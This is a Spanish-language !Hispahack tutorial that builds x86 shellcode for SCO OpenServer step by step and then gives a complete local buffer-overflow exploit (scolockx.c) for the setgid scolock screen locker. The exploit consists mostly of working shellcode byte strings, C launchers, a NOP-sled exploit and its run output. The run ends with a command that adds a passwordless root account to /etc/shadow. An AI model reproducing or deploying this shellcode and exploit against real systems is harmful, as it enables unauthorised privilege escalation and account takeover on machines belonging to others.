Programando un shellcode en SCO
Por Renegade Master
Introducción:
La primera vez que me enfrente a la programacion de un exploit basado
en un buffer overflow, fue en linux y simplemente me limite a elegir un
shellcode que alguien ya habia hecho entre los muchos disponibles y pegarlo
en mi codigo.
Sin embargo cuando intente hacer lo mismo en SCO me di cuenta de que
practicamente no habia shellcodes para SCO, solo puede encontrar 2 shellcodes
aceptables (Aunque muy poco depurados) sobre los que se basaban el
resto.
Por eso decidi ponerme a programar mi propio shellcode partiendo de
cero intentando que fuese mas eficiente y compacto que los existentes.
Este es el resultado...
Gdb
Primero veamos como funciona una maquina SCO a la hora de ejecutar un
comando. (En este caso /bin/sh)
**NOTA** Todos los ejemplos estan sacados de una maquina SCO
OpenServer 5.0.4 con lo cual algunos de ellos no funcionaran bien en otro
tipo de unix de SCO (Como el unixware) aunque he intentado ser lo mas "portable"
posible.
Creamos en C un pequeño programa que simplmente ejecute '/bin/sh'.
-execve.c-----------------------------------------------------------------
main() {
execve("/bin/sh",0,0);
}
--------------------------------------------------------------------------
scosysv:~$ ./execve
$
Funciona.
Compilamos y le pasamos el debugger (En este caso el gdb) para ver su
equivalente en ensamblador:
scosysv:~# gdb
GDB is free software and you are welcome to distribute copies of
it under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15.1 (i486-sco3.2v5.0), Copyright 1995 Free Software Foundation,
Inc.
(gdb) file execve
Reading symbols from execve...(no debugging symbols found)...done.
(gdb) disassemble main
Dump of assembler code for function main:
0x15c <main>: jmp 0x171 <main+21>
0x15e <main+2>: pushl $0x0
0x160 <main+4>: pushl $0x0
0x162 <main+6>: pushl $0x400878
0x167 <main+11>: call
0x2fc <_execve>
0x16c <main+16>: addl
$0xc,%esp
0x16f <main+19>: leave
0x170 <main+20>: ret
0x171 <main+21>: pushl
%ebp
0x172 <main+22>: movl
%esp,%ebp
0x174 <main+24>: jmp
0x15e <main+2>
0x176 <main+26>: nop
0x177 <main+27>: nop
End of assembler dump.
(gdb) disassemble execve
Dump of assembler code for function _execve:
0x2fc <_execve>: movl
$0x3b,%eax
0x301 <_execve+5>: lcall
0x7,0x0
0x308 <_execve+12>: jmp
0x7f8 <_cerror>
0x30d <_execve+17>: nop
0x30e <_execve+18>: nop
0x30f <_execve+19>: nop
End of assembler dump.
Una vez visto esto obtenemos un pequeño esquema en ensamblador.
main:
pushl 0x0
pushl 0x0
pushl direccion_de_/bin/sh
call execve
execve:
movl $0x3b,%eax
lcall 0x7,0x0
Como podeis ver es algo mas simple que en otros sistemas como linux,
apenas 6 lineas en ensamblador.
Todavia es un esquema muy burdo y necesita ser pulido, pero sera el
esqueleto de nuestro shellcode.
Shellcode 1:
Tenemos ya un pequeño esquema en ensamblador de lo que debemos
hacer, asi que empezamos por un shellcode muy simple, sin ningun tipo de
depurado, nos servira como base para desarrollar otros mas avamzados.
Partimos del esquema anterior:
main:
pushl 0x0
pushl 0x0
pushl direccion_de_/bin/sh
call execve
execve:
movl $0x3b,%eax
lcall 0x7,0x0
Necesitamos añadirle algo de codigo:
(1) Necesitamos poner la cadena /bin/sh en memoria
(2) Necesitamos una rutina para saber donde se encunetra esa cadena
El codigo que obtenemos es:
"\xeb\x12" // start: jmp uno (2)
"\x5e" // dos: popl %esi
"\x31\xdb" // xorl %ebx,%ebx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3b" // movb $0x3b,%al
"\x53" // pushl %ebx
"\x53" // pushl %ebx
"\x56" // pushl %esi
"\x56" // pushl %esi (3)
"\x9a\x00\x00\x00\x00\x07\x00" // execve: lcall 0x7,0x0
"\xe8\xe9\xff\xff\xff" // uno: call dos
"/bin/sh\x00"; // (1)
(1) Ponemos la cadena /bin/sh al final del codigo.
(2) Realizamos una llamada delante de la cadena /bin/sh [call dos] de
esta forma la direccion de la cadena queda almacenada en la pila
(Al realizar la llamada el registro %eip se mete en la pila) la sacamos
y la ponemos en %esi.
[popl %esi]
El registo %eip es el puntero de instrucciones y el valor que toma en
la llamada es exactamente la direccion de la cadena /bin/sh.
(3) Los tres primeros pushl son los correspondientes a la llamada execve.
Metemos un cuarto valor en la pila [pushl %esi] para que la cosa funcione.
Creamos un pequeño simulador en C para comprobar que el codigo
funciona
bien.
-shell30.c----------------------------------------------------------------
char hell[]=
"\xeb\x12" // start: jmp uno
"\x5e" // dos: popl %esi
"\x31\xdb" // xorl %ebx,%ebx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3b" // movb $0x3b,%al
"\x53" // pushl %ebx
"\x53" // pushl %ebx
"\x56" // pushl %esi
"\x56" // pushl %esi
"\x9a\x00\x00\x00\x00\x07\x00" // execve: lcall 0x7,0x0
"\xe8\xe9\xff\xff\xff" // uno: call dos
"/bin/sh\x00";
void main() {
int *ret;
printf("%i\n",strlen(hell));
ret = (int *)&ret + 2;
(*ret) = (int)hell;
}
--------------------------------------------------------------------------
scosysv~$ shell30
14
$
Funciona.
Shellcode 2:
El shellcode anterior no es util en la practica, ya que contiene caracterers
nulos \x00 que nos daran muchos problemas si queremos usarlos para explotar
un overflow.
El caracter nulo se considera final de cadena, con lo cual nomalmente
si intentamos usar un shellcode con caracteres nulos en un exploit, se
cortara al ser manipulado por el programa a explotar.
Este segundo shellcode corrige este defecto, eliminando todos los caracteres
nulos mediante una pequeña rutina de automodificacion del codigo.
"\xeb\x16" // start: jmp uno
"\x5e" // dos: popl %esi
"\x31\xdb" // xorl %ebx,%ebx
"\x89\x5e\x07" // movb %bl,0x7(%esi) -> Estas
tres lineas se encargan de
"\x89\x5e\x0c" // movl %ebx,0x0c(%esi)
poner a cero los bytes que antes
"\x88\x5e\x11" // movb %bl,0x11(%esi)
tenian el valor \x00 (Ahora \xaa)
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3b" // movb $0x3b,%al
"\x53" // pushl %ebx
"\x53" // pushl %ebx
"\x56" // pushl %esi
"\x56" // pushl %esi
"\xeb\x10" // jmp execve
"\xe8\xe5\xff\xff\xff" // uno: call dos
"/bin/sh"
"\xaa\xaa\xaa\xaa"
"\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0
El codigo todavia es optimizable, se podrian ahorrar 3 o 4 bytes de
tamaño, pero la mejora seria poco apreciable.
Cambiamos la llamada a execve [lcall 0x7,0x0] al final del codigo para
hacer mas sencilla su manipulacion.
Usamos de nuevo el simulador para comprobar que funciona:
-shell15.c----------------------------------------------------------------
char hell[]=
"\xeb\x16" // start: jmp uno
"\x5e" // dos: popl %esi
"\x31\xdb" // xorl %ebx,%ebx
"\x89\x5e\x07" // movb %bl,0x7(%esi)
"\x89\x5e\x0c" // movl %ebx,0x0c(%esi)
"\x88\x5e\x11" // movb %bl,0x11(%esi)
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3b" // movb $0x3b,%al
"\x53" // pushl %ebx
"\x53" // pushl %ebx
"\x56" // pushl %esi
"\x56" // pushl %esi
"\xeb\x10" // jmp execve
"\xe8\xe5\xff\xff\xff" // uno: call dos
"/bin/sh"
"\xaa\xaa\xaa\xaa"
"\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0
void main() {
int *ret;
printf("%i\n",strlen(hell));
ret = (int *)&ret + 2;
(*ret) = (int)hell;
}
--------------------------------------------------------------------------
scosysv~$ shell15
47
$
Funciona.
Shellcode 3:
Vamos a añadirle un complicacion mas, ahora queremos que el shellcode
ejecute no solo un shell (/bin/sh) sino que ejecute una orden completa
y que ademas nos deje modificar este comando sin necesidad de recompilar
todo el shellcode.
Esto se complica ya que para reducir el tamaño del primer shellcode
habiamos usado un pequeño truco:
La llamada execve trabaja de la siguiente forma:
execve(direccion_del_comando,array_de_parametros,array_de_variables_de_entorno)
En ensamblador seria:
push array_de_variables_de_entorno
push array_de_parametros
push direccion_del_comando
call execve
En el primer shellcode habiamos simplificado los 2 arrays poniendo en
su lugar un puntero nulo:
push 0
push 0
push direccion_de_la_cadena_/bin/sh
call execve
Ahora ya no podemos definir un puntero nulo como array de parametros,
y debemos crear un array para ello.
El array debe contener el nombre del comando (argv[0]) y los restantes
argumentos.
Para reducir el numero de elementos del array usaremos la opcion '-c'
del shell.
/bin/sh -c "comando"
argv[0] argv[1] argv[2]
Quedando el array asi:
argv[0] -> direccion de la cadena /bin/sh
argv[1] -> direccion de la cadena -c
argv[2] -> direccion de la cadena que contiene el comando
0 -> puntero nulo
En total 16 bytes.
Y en ensamblador:
push 0
push direccion_del_array
push argv[0] -> direccion de la cadena /bin/sh
call execve
Ahora veamos el shellcode resultante de aplicar estos cambio a nuestro
shellcode.
"\x31\xdb" // xorl %ebx,%ebx
"\x31\xc0" // xorl %eax,%eax
"\xeb\x30" // jmp uno
"\x5e" // dos: popl %esi
"\x8d\x7e\x10" // leal 16(%esi),%edi
"\x89\xf9" // movl %edi,%ecx
"\x89\x3e" // movl %edi,(%esi)
"\x8d\x7e\x18" // leal 24(%esi),%edi -> Rutina de creacion del
array
"\x89\x7e\x04" // movl %edi,4(%esi)
"\x8d\x7e\x1b" // leal 27(%esi),%edi
"\x89\x7e\x08" // movl %edi,8(%esi)
"\x89\x5e\x0c" // movl %ebx,12(%esi)
"\x89\x5e\xf5" // movl %ebx,-11(%esi) -> Rutina de anulacion
de los \xaa
"\x88\x5e\xfa" // movb %bl,-6(%esi)
"\x88\x5e\x17" // movb %bl,23(%esi)
"\x88\x5e\x1a" // movb %bl,26(%esi)
"\x53" // pushl %ebx
"\x56" // pushl %esi
"\x51" // pushl %ecx
"\x51" // pushl %ecx
"\xb0\x3b" // movb 0x3b, %al
"\x9a\xaa\xaa\xaa\xaa\x07\xaa" // lcall 0x7,0x0
"\xe8\xcb\xff\xff\xff" // uno: call dos
"AAAA" // +0 -> Este es el array
"AAAA" // +4
"AAAA" // +8
"AAAA" // +12
"/bin/shA" // (1) +16 0x10(%esi) -> primera cadena
"-cA" // (2) +24 0x18(%esi) -> segunda cadena
""; // (3) +27 0x1b(%esi) -> Reservamos este espacio para poner
la cadena del comando a ejecutar.
Añadimos una rutina que crea un array de 16 bytes y pone en el
las direcciones de las 3 cadenas de texto implicadas, y un puntero nulo
como cuarto elemeto del array para indicar el final del array.
El numero de lineas de codigo para sustituir los caracteres \xaa por
\x00 es mayor.
Ahora el simulador es algo mas complejo:
-shell33.c-----------------------------------------------------------------
char hell[]=
"\x31\xdb" // xorl %ebx,%ebx
"\x31\xc0" // xorl %eax,%eax
"\xeb\x30" // jmp uno
"\x5e" // dos: popl %esi
"\x8d\x7e\x10" // leal 16(%esi),%edi
"\x89\xf9" // movl %edi,%ecx
"\x89\x3e" // movl %edi,(%esi)
"\x8d\x7e\x18" // leal 24(%esi),%edi
"\x89\x7e\x04" // movl %edi,4(%esi)
"\x8d\x7e\x1b" // leal 27(%esi),%edi
"\x89\x7e\x08" // movl %edi,8(%esi)
"\x89\x5e\x0c" // movl %ebx,12(%esi)
"\x89\x5e\xf5" // movl %ebx,-11(%esi)
"\x88\x5e\xfa" // movb %bl,-6(%esi)
"\x88\x5e\x17" // movb %bl,23(%esi)
"\x88\x5e\x1a" // movb %bl,26(%esi)
"\x53" // pushl %ebx
"\x56" // pushl %esi
"\x51" // pushl %ecx
"\x51" // pushl %ecx
"\xb0\x3b" // movb 0x3b, %al
"\x9a\xaa\xaa\xaa\xaa\x07\xaa" // lcall 0x7,0x0
"\xe8\xcb\xff\xff\xff" // uno: call dos
"AAAA" // +0
"AAAA" // +4
"AAAA" // +8
"AAAA" // +12
"/bin/shA" // (1) +16 0x10(%esi)
"-cA" // (2) +24 0x18(%esi)
""; // (3) +27 0x1b(%esi)
char buf[300];
void main(int argc, char **argv) {
int *ret;
char cmd[200];
char test[]="/usr/bin/id";
char end[]=";\x00";
printf("%i\n",strlen(hell));
if(argc < 2) {
memcpy(cmd,test,strlen(test));
memcpy(buf,hell,strlen(hell));
memcpy(buf+strlen(hell),cmd,strlen(cmd));
memcpy(buf+strlen(hell)+strlen(cmd),end,strlen(end));
} else {
if(argc == 2) {
strncpy(cmd,argv[1],strlen(argv[1]));
memcpy(buf,hell,strlen(hell));
m emcpy(buf+strlen(hell),cmd,strlen(argv[1]));
memcpy(buf+strlen(hell)+strlen(argv[1]),end,strlen(end));
} else {
printf("Uso: shell33 \"comando\"\n");
exit(0); }
}
ret = (int *)&ret + 2;
(*ret) = (int)buf;
}
--------------------------------------------------------------------------
La novedad es que se encarga de añadir al final del shellcode
la cadena del comando a ejecutar.
scosysv~$ shell33 "/usr/bin/id"
86
uid=200(guest) gid=50(group) groups=50(group)
scosysv~$ shell33 "echo hola"
86
hola
Funciona.
Exploit 1:
Una vez tenemos el shellcode funcionando de forma teorica, tenemos que
probar si funciona realmente a la hora de la verdad, dentro de un exploit.
El bug que vamos a explotar es un overflow en un parametro del programa
scolock (/usr/bin/X11/scolock) un protector de pantallas suideado como
grupo 'auth'. -> sgid(auth)
$ ls -al /opt/K/SCO/BaseX/5.1.2b/usr/bin/X11/scolock
-rwxr-sr-x 1 root auth
155956 May 25 22:50 scolock
Este grupo tiene acceso de lectura/escritura al fichero /etc/shadow
con lo cual conseguir root a partir de este exploit es cuestion de segundos.
$ ls -al /etc/shadow
-rw-rw---- 1 root auth
323 Jun 14 23:09 /etc/shadow
Este programa tiene varios overflows explotables, pero vamos a centrarnos
en el que se produce en el parametro '-bg'
El exploit que aparece a continucacion es inedito, y no existe parche
para el bug: (Dios mio! que alguien envie esto a la bugtraq! ;)
-scolockx.c---------------------------------------------------------------
/*
* <scolockx.c> Local exploit - Gives you an auth group
suid shell
*
* h0h0h0!! auth group has read/write access to /etc/shadow
(w3 4r3 r00t!)
*
* $ ls -al /etc/shadow
* -rw-rw---- 1 root auth
323 Jun 14 23:09 /etc/shadow
*
* Offset: scolockx (SCO OpenServer 5.0.4)
* 0 -> with -display parameter
*
* Usage:
* $ cc scolockx.c -o scolockx
* $ /usr/bin/X11/scolock -display 1.1.1.1:0 -bg `scolockx
0`
*
* Note: scolock need to be run from a valid x-display
*
* By: The Renegade Master
*
*/
#include <stdlib.h>
#include <stdio.h>
char hell[]=
"\xeb\x16" // start: jmp uno
"\x5e" // dos: popl %esi
"\x31\xdb" // xorl %ebx,%ebx
"\x89\x5e\x07" // movb %bl,0x7(%esi)
"\x89\x5e\x0c" // movl %ebx,0x0c(%esi)
"\x88\x5e\x11" // movb %bl,0x11(%esi)
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3b" // movb $0x3b,%al
"\x53" // pushl %ebx
"\x53" // pushl %ebx
"\x56" // pushl %esi
"\x56" // pushl %esi
"\xeb\x10" // jmp execve
"\xe8\xe5\xff\xff\xff" // uno: call dos
"/bin/sh"
"\xaa\xaa\xaa\xaa"
"\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0
#define OFF 0x8047a98 // SCO OpenServer 5.0.4
#define ALINEA 0
#define LEN 2000
int main(int argc, char *argv[]) {
int offset=0;
char buf[LEN];
int i;
if(argc < 2) {
printf("Usage: scolockx
<offset>\n");
exit(0); }
else {
offset=atoi(argv[1]);
}
memset(buf,0x90,LEN);
memcpy(buf+1000,hell,strlen(hell));
for(i=1100+ALINEA;i<LEN-4;i+=4)
*(int *)&buf[i]=OFF+offset;
for(i=0;i<LEN;i++)
putchar(buf[i]);
exit(0);
}
--------------------------------------------------------------------------
scosysv:~$ /usr/bin/X11/scolock -display 127.0.0.1:0.0 -bg `./scolockx
0`
Warning: Color name "ë^1Û^^^1À°;SSVVëèåÿÿÿ/bin/shªªªªªªªªªzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz^1Û^^^1À°;SSVVëèåÿÿÿ/bin/shªªªªªªª
ªªzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz^1Û^^^1À°;S
SVVëèåÿÿÿ/bin/shªªªªªªªªªzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzz^1Û^^^1À°;SSVVëèåÿÿ
Warning: some arguments in previous message were lost
$ id
uid=200(guest) gid=50(group) egid=21(auth) groups=50(group)
$ echo "draver::0:0:r00t:/:/bin/sh" >> /etc/shadow
Como veis el exploit no podria ser mas simple, la parte mas delicada
es el shellcode, de ahi la importancia de conseguir un buen shellcode,
compacto y estable.
Otros puntos importantes a tener en cuenta son que el buffer desbordado
tiene unos 1800 caracteres de tamaño, que el alineamiento es correcto
y que la direccion de retorno es aproximadamente 0x8047a98. Con estos datos
y el
shellcode programar el exploit fue trivial.
Conclusión:
El primer paso que debemos dar en cualquier tipo de plataforma para
programar nuestros propios exploits es conseguir un buen shellcode, bien
usando uno existente, modificandolo o creando uno propio.
Sin embargo siempre conseguiremos un mayor control del exploit cuando
el shellcode sea nuestro...
Saludos
Renegade Master
(C) 1997-2001 by !Hispahack
Para ver el web en las mejores condiciones, usa una resolución de
800x600 y Netscape Navigator
|